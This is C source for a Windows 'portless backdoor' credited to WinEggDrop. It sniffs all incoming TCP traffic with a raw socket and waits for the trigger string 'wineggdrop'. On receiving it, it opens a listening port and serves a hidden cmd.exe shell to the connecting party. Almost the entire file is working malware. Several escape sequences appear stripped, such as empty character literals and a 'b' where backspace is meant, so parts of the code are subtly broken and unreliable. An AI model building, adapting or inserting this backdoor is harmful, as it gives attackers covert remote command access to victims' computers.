//**********************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: NULL
// Purpose: To Demonstrate Some Portless Backdoor Technique
// Test PlatForm: Win 2K Pro And Server SP4
// Compiled On: LCC 3.0,May Compile On VC++ 6.0(Not Test Yet)
//**********************************************************************
#include <windows.h>
#include <stdio.h>
#include <winsock2.h>
// Some Structures To Define
#define IP_HDRINCL 2
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
#define MAX_PACK_LEN 65535
#define MAX_ADDR_LEN 16
#define MAX_HOSTNAME_LAN 255
typedef struct _iphdr
{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;
typedef struct _tcphdr
{
USHORT th_sport;
USHORT th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
USHORT th_win;
USHORT th_sum;
USHORT th_urp;
}TCP_HEADER;
// End Of Structure
// Global Variable
char SourceIPAddress[MAX_ADDR_LEN]; // Hold The Source IP(This Can Be Used To Do Reverse Connection)
int BackDoorPort = 0; // The Port Back Door Will Bind
// Function ProtoType Declaration
//------------------------------------------------------------------------------------------------------
BOOL InitSocket();
BOOL DoSniffing();
BOOL DecodeIPPack(const char *Buffer,const int BufferSize);
BOOL DecodeTCPPack(const char * TCPBuffer,const int BufferSize);
BOOL IsWin2KOrAbove();
DWORD WINAPI StartBackDoor(LPVOID Para);
BOOL GetABackDoorShell(const SOCKET ListenSocket);
BOOL SendSocket(const SOCKET ClientSocket,const char *Message);
unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char *Buffer,const int BufferSize);
//------------------------------------------------------------------------------------------------------
// End Of Fucntion ProtoType Declaration
// Main Function
int main(int argc,char *argv[])
{
if (!IsWin2KOrAbove()) // This System Running This Program Is Not Win 2K Or Above
{
printf("The Program Must Run Under Win 2k Or Above OS\n"); // Display This Message
return -1; // Quit The Program
}
if (argc == 2) // We Get Argument
BackDoorPort = atoi(argv[1]); // Argument One Is The Back Door's Port
else // No Argument
BackDoorPort = 1982; // Back Door's Port Will Be Defined On 1982
if (!InitSocket()) // Fail To Initize Socket
{
printf("Fail To Start Up Winsock\n"); // Display Error Message
return -1; // Quit The Program
}
DoSniffing(); // Do Sniffing
return 0; // Quit The Program
}// End Of Main Function
//-------------------------------------------------------------------------
// Purpose: To Initize Socket
// Return Type: Boolean
// Parameters: NULL
// This Is Too Simple,I Won't Comment It
//-------------------------------------------------------------------------
BOOL InitSocket()
{
WSADATA data;
WORD ver;
ver = MAKEWORD(2,2);
if (WSAStartup( ver, &data )!= 0 )
{
return FALSE;
}
return TRUE;
}// End Of InitSocket Function
//-------------------------------------------------------------------------
// Purpose: To Do None-Driver Sniffing
// Return Type: Boolean
// Parameters: NULL
//-------------------------------------------------------------------------
BOOL DoSniffing()
{
int Length=0; // Variable To Hold The Receive Buffer Length
char RecvBuf[MAX_PACK_LEN] = {0}; // Receive Buffer
SOCKET SocketRaw = INVALID_SOCKET; // Raw Socket
SocketRaw = socket(AF_INET , SOCK_RAW , IPPROTO_IP); // Create A Raw Socket
if (SocketRaw == INVALID_SOCKET) // Fail To Create A Raw Socket
{
printf("Fail To Create A Raw Socket\n"); // Display Error Message
return FALSE; // Return False
}
char FAR name[MAX_HOSTNAME_LAN];
if (gethostname(name, MAX_HOSTNAME_LAN) == SOCKET_ERROR) // Fail To Get The Host Name
{
printf("Fail To Get Host Name\n"); // Display Error Message
closesocket(SocketRaw); // Close The Raw Socket Created
return FALSE; // Return False
}
// The Below Is The NIC Stuff
struct hostent FAR * pHostent;
pHostent = (struct hostent * )malloc(sizeof(struct hostent)); // Allocate Hostent Buffer
pHostent = gethostbyname(name);
SOCKADDR_IN sa;
sa.sin_family = AF_INET; // That's Internet Related
sa.sin_port = htons(0); // Any Port Avariable On The OS
if (pHostent->h_addr_list[0] != 0) // We Only Check The First NIC
{
memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length); // We Use The First NIC As The Sniffing Subject
}
else // Well,The First NIC Is Not Valid
{
printf("Get Host By Name Fails\n"); // Display Error Message
free(pHostent); // Free The Hostent Buffer
closesocket(SocketRaw);
return FALSE; // Return FALSE;
}
free(pHostent); // Free The Hostent Buffer
if (bind(SocketRaw, (PSOCKADDR)&sa, sizeof(sa)) == SOCKET_ERROR) // Bind The Raw Socket On The First NIC,But Fails
{
printf("Fail To Bind\n"); // Display Error Message
closesocket(SocketRaw); // Close The Raw Socket
return FALSE; // Return False
}
// Forget About The Below A Few Lines,They Are Just A Static Routine To Do The None_Driver Sniffing(Some Sort Of Must-Have Codes)
DWORD dwBufferLen[10] ;
DWORD dwBufferInLen = 1 ;
DWORD dwBytesReturned = 0 ;
if (WSAIoctl(SocketRaw, SIO_RCVALL,&dwBufferInLen, sizeof(dwBufferInLen),&dwBufferLen, sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL) == SOCKET_ERROR)
{
closesocket(SocketRaw);
return FALSE;
}
while(TRUE) // Sniffing Starts Here With Forever Loop
{
memset(RecvBuf, 0, sizeof(RecvBuf)); // Reset The Receive Buffer
Length = recv(SocketRaw, RecvBuf, sizeof(RecvBuf), 0); // Try To Receive Data
if (Length == SOCKET_ERROR) // Get Error As Receiving Data
{
printf("Fail To Receive Data\n"); // Display Error Message
break; // Leave The Loop
}
if (DecodeIPPack(RecvBuf,Length)) // Decode The Buffer Received,And The Active Code Is Found
{
printf("Bingo,The BackDoor Is Activated On Port %d\n",BackDoorPort); //We Are Going To Activate The BackDoor
DWORD dwThreadID;
HANDLE BackDoorThread = CreateThread(NULL,0,&StartBackDoor,NULL,0,&dwThreadID); // Create The Back Door Thread
WaitForSingleObject(BackDoorThread,INFINITE); // Wait Until The Back Door Ends
}
}
closesocket(SocketRaw); // Close The Raw Socket
return TRUE; // Return
}// End Of DoSniffing Function
//-------------------------------------------------------------------------
// Purpose: To Decode The IP Packer
// Return Type: Boolean
// Parameters: 1.const char *Buffer -->The Received Buffer
// 2.Const int BufferSize -->The Received Buffer Size
//-------------------------------------------------------------------------
BOOL DecodeIPPack(const char *Buffer,const int BufferSize)
{
IP_HEADER *pIpheader; // IP Header
SOCKADDR_IN saSource, saDest;
pIpheader = (IP_HEADER *)Buffer; // Transfer The Buffer Into IP Header Form
int Protocol = pIpheader->proto; // Get The Protocol
if ((Protocol != IPPROTO_TCP)) // Not TCP Protocol
{
return FALSE; // Return False Since We Only Interest In TCP Protocol
}
saSource.sin_addr.s_addr = pIpheader->sourceIP;
strncpy(SourceIPAddress, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN); // Get The Source IP(Important For Doing Reverse Connection)
int IPLength = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf); // Get The IP Length
return DecodeTCPPack(Buffer+IPLength, BufferSize); // Decode TCP Packer
}// End Of DecodeIPPack Function
//-------------------------------------------------------------------------
// Purpose: To Decode The TCP Packer
// Return Type: Boolean
// Parameters: 1.const char *TCPBuffer -->The TCP Buffer
// 2.Const int BufferSize -->The TCP Buffer Size
//-------------------------------------------------------------------------
BOOL DecodeTCPPack(const char * TCPBuffer,const int BufferSize)
{
TCP_HEADER * pTcpHeader; // TCP Header
int iSourcePort,iDestPort; // Source Port And DestPort
pTcpHeader = (TCP_HEADER * )TCPBuffer; // Transfer The Buffer Into TCP Header Form
int TcpHeaderLen = pTcpHeader->th_lenres>>4; // Get The TCP Leader Length
TcpHeaderLen *= sizeof(unsigned long);
char * TcpData=TCPBuffer+TcpHeaderLen; // Get The TCP Data
iSourcePort = ntohs(pTcpHeader->th_sport); // Get The Source Port
iDestPort = ntohs(pTcpHeader->th_dport); // Get The Destination Port
if (strstr(TcpData,"wineggdrop")!=NULL) // If The TCP Data Contains A Word "wineggdrop"(The Active Code),Then Bingo
{
printf("%s:%d-->Local:%d\r\n",SourceIPAddress,iSourcePort,iDestPort); // Display A Message
return TRUE; // Return TRUE(The Back Door Will Be Activated Soon)
}
return FALSE; // We Didn't Receive An Active Code,Return False
}// End Of DecodeTCPPack Function
//-------------------------------------------------------------------------
// Purpose: To Check The OS
// Return Type: Boolean
// Parameters: NULL
//-------------------------------------------------------------------------
BOOL IsWin2KOrAbove()
{
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
if (GetVersionEx(&OSVersionInfo)) // Get The OS Version
return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) && (OSVersionInfo.dwMajorVersion == 5)); // Return Whether It's Win 2k Or Above OS
else
return FALSE; // Fail To Get The OS Version,Just Return FALSE
}// End Of IsWin2KOrAbove Function
//--------------------------------------------------------------------------------
// Purpose: To Ease The Way To Send Data Through Socket
// Return Type: Boolean
// Parameters: 1.const SOCKET ClientSocket --> The Socket To Send Message
// 2.const char *Message --> Message To Send
//--------------------------------------------------------------------------------
BOOL SendSocket(const SOCKET ClientSocket,const char *Message)
{
return (send(ClientSocket,Message,strlen(Message),0)!=SOCKET_ERROR);
}// End Of SendSocket
//--------------------------------------------------------------------------------
// Purpose: To Start The Back Door
// Return Type: DWORD
// Parameters: LPVOID Para --> Can Be AnyThing
//--------------------------------------------------------------------------------
DWORD WINAPI StartBackDoor(LPVOID Para)
{
struct sockaddr_in srv;
SOCKET ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // Create A TCP Socket
if (ListenSocket == INVALID_SOCKET) // Fail To Create A TCP Socket
{
printf("Fail To Create A BackDoor Socket\n"); // Display Error Message
return -1; // Return
}
srv.sin_family = AF_INET; // Internet Related
srv.sin_addr.s_addr = htonl(INADDR_ANY); // Any Address
srv.sin_port = htons(BackDoorPort); // Back Door Port
if (bind(ListenSocket,(const struct sockaddr *) &srv,sizeof(srv)) == INVALID_SOCKET) // Fail To Bind The Socket
{
printf("Fail To Bind BackDoor Sokcet\n"); // Display Error Message
closesocket(ListenSocket); // Close The Socket
return -1; // Return
}
if (listen(ListenSocket,1) == INVALID_SOCKET) // Fail To Listen On The Back Door's Port
{
printf("Fail To Listen\n"); // Display Error Message
closesocket(ListenSocket); // Close The Socket
return -1; // Return
}
SOCKET AcceptSocket = accept(ListenSocket, NULL,NULL); // Accepting Connections
if (AcceptSocket == INVALID_SOCKET) // Fail To Accept Connection
{
printf("Fail To Accept Connection\n"); // Display Error Message
closesocket(ListenSocket); // Close The Socket
return -1; // Return
}
GetABackDoorShell(AcceptSocket); // Get A CMD Shell
closesocket(AcceptSocket); // Close Accpeted Socket
closesocket(ListenSocket); // Close The Listen Socket
return 0; // Return
}// End Of StartBackDoor Function
//--------------------------------------------------------------------------------
// Purpose: To To The Shell Stuff
// Return Type: Boolean
// Parameters: const SOCKET ListenSocket --> The Client Connected Socket
//--------------------------------------------------------------------------------
BOOL GetABackDoorShell(const SOCKET ListenSocket)
{
char ReceiveBuffer[MAX_PATH + 1]; // The Receive Buffer
char SendBuffer[1024 * 4]; // The Send Buffer
unsigned long OutputLength,InputLength; // The Input And Output Length
// The Pipe And Some Other Sutff
HANDLE ClientReadPipe = NULL;
HANDLE ClientWritePipe = NULL;
HANDLE CmdWritePipe = NULL;
HANDLE CmdReadPipe = NULL;
SECURITY_ATTRIBUTES sa = {0};
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));
if (GetSystemDirectory(ReceiveBuffer,MAX_PATH)) // Get System Directory
{
strcat(ReceiveBuffer,"\cmd.exe"); // Get The Cmd.exe Full Path
}
else // Fail To Get System Directory
{
SendSocket(ListenSocket,"Fail To Get System Diretory\r\n"); // Display Error Message
return FALSE; // Return
}
// Initize The Stuff
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
memset(&pi,0,sizeof(pi));
if (!CreatePipe(&ClientReadPipe,&CmdWritePipe,&sa,0)) // Fail To Create Client Read Pipe
{
SendSocket(ListenSocket,"Fail To Create Client Read Pipe\r\n"); // Display Error Message
goto CleanUP; // Leave
}
if (!CreatePipe(&CmdReadPipe,&ClientWritePipe,&sa,0)) // Fail To Create Cmd Read Pipe
{
SendSocket(ListenSocket,"Fail To Create CMD Read Pipe\r\n"); // Display Error Message
goto CleanUP; // Leave
}
// Reset And Initize Stuff
memset((void *)&si,0,sizeof(si));
memset((void *)&pi,0,sizeof(pi));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = CmdReadPipe; // Pass The CmdReadPipe To StdInput
si.hStdError = CmdWritePipe; // Pass The CmdWritePipe To StdError
si.hStdOutput = CmdWritePipe; // Pass The CmdWritePipe To StdOutput
if (!CreateProcess(ReceiveBuffer,NULL,NULL,NULL,1,0,NULL, NULL,&si,&pi)) // Fail To Create A Cmd Shell Process
{
SendSocket(ListenSocket,"Fail To Create Process\r\n"); // Display Error Message
goto CleanUP; // Leave
}
while(TRUE) // Shell Commincation Starts Here
{
if (!PeekNamedPipe(ClientReadPipe,SendBuffer,sizeof(SendBuffer),&OutputLength,NULL,NULL)) // Fail To Get Data From The Pipe
{
SendSocket(ListenSocket,"Fail To Peek Name Pipe\r\n"); // Display Error Message
break; // Leave
}
if (OutputLength > 0) // Get Data From The Pipe Successfully
{
ZeroMemory(SendBuffer,sizeof(SendBuffer)); // Reset The Send Buffer
if (!ReadFile(ClientReadPipe,SendBuffer,OutputLength,&OutputLength,0)) //Fail To Read The Data
{
SendSocket(ListenSocket,"Fail To Read File\r\n"); // Display Error Message
break; // Leave
}
if (send(ListenSocket,SendBuffer,OutputLength,0) == SOCKET_ERROR) // Fail To Send The Data
{
printf("Fail To Send Buffer\n"); // Display Error Message
break; // Leave
}
}
else
{
ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer)); // Reset Receive Buffer
InputLength = ReceiveMessageFromSocket(ListenSocket, ReceiveBuffer, sizeof(ReceiveBuffer)); // Receive Input From Client
if (InputLength == SOCKET_ERROR) // Fail To Receive Data
{
printf("Fail To Receive Buffer\n"); // Display Error Message
break; // Leave
}
if (!WriteFile(ClientWritePipe,ReceiveBuffer,InputLength,&InputLength,0)) // Fail To Write The Received Data To The Pipe
{
printf("Fail To Write File\n"); // Display Error Message
break; // Leave
}
// Leave The Shell
if (strnicmp((char*)ReceiveBuffer, "exit\r\n", 6) == 0 || strnicmp((char*)ReceiveBuffer, "exit\r", 5)==0 || strnicmp((char*)ReceiveBuffer, "exit\n", 5)==0)
break;
}
}
// Clean All Resource Allocated
CleanUP:
if (CmdReadPipe != NULL)
CloseHandle(CmdReadPipe);
if (CmdWritePipe != NULL)
CloseHandle(CmdWritePipe);
if (ClientReadPipe != NULL)
CloseHandle(ClientReadPipe);
if (ClientWritePipe)
CloseHandle(ClientWritePipe);
return TRUE;
}// End Of GetABackDoorShell Function
//--------------------------------------------------------------------------------
// Purpose: To Receive Data From Socket In A Custom-Defined Way
// Return Type: unsigned int
// Parameters: 1.const SOCKET ClientSocket --> The Client Connected Socket
// 2.char *Buffer --> Buffer To Hold Data Received
// 3.const int BufferSize --> The Buffer Size
//--------------------------------------------------------------------------------
unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char *Buffer,const int BufferSize)
{
ZeroMemory(Buffer,BufferSize); // Reset The Buffer
if (BufferSize < 2) // Buffer Size Is Less Then 2
{
return 0; // Dump
}
unsigned int CharacterCount = 0;
while(TRUE)
{
if (CharacterCount >= BufferSize) // The Characters Received Is Bigger Or Equal The Buffer Size
{
// Give The Buffer An Enter
Buffer[BufferSize-2] = '\r';
Buffer[BufferSize-1] = '\n';
return CharacterCount; // Return The Characters Received
}
if (recv(ClientSocket,Buffer+CharacterCount,1,0) == SOCKET_ERROR) // Fail To Receive Data
{
return SOCKET_ERROR; // Return Error
}
if (Buffer[CharacterCount] == 'b') // Back Space Detected
{
Buffer[CharacterCount] = ''; // Skip It
if (CharacterCount > 0) // Characters Received Is Bigger Than 0
{
CharacterCount--; // Decrease One Character
Buffer[CharacterCount] = '';
}
continue; // Begin A New Loop
}
if (Buffer[CharacterCount++] == '\n') // Enter Is Detected
{
return CharacterCount; // Return The Characters Received
}
}
return 0; // We Get Nothing,Return Zero
}// End Of ReceiveMessageFromSocket Function
// End Of File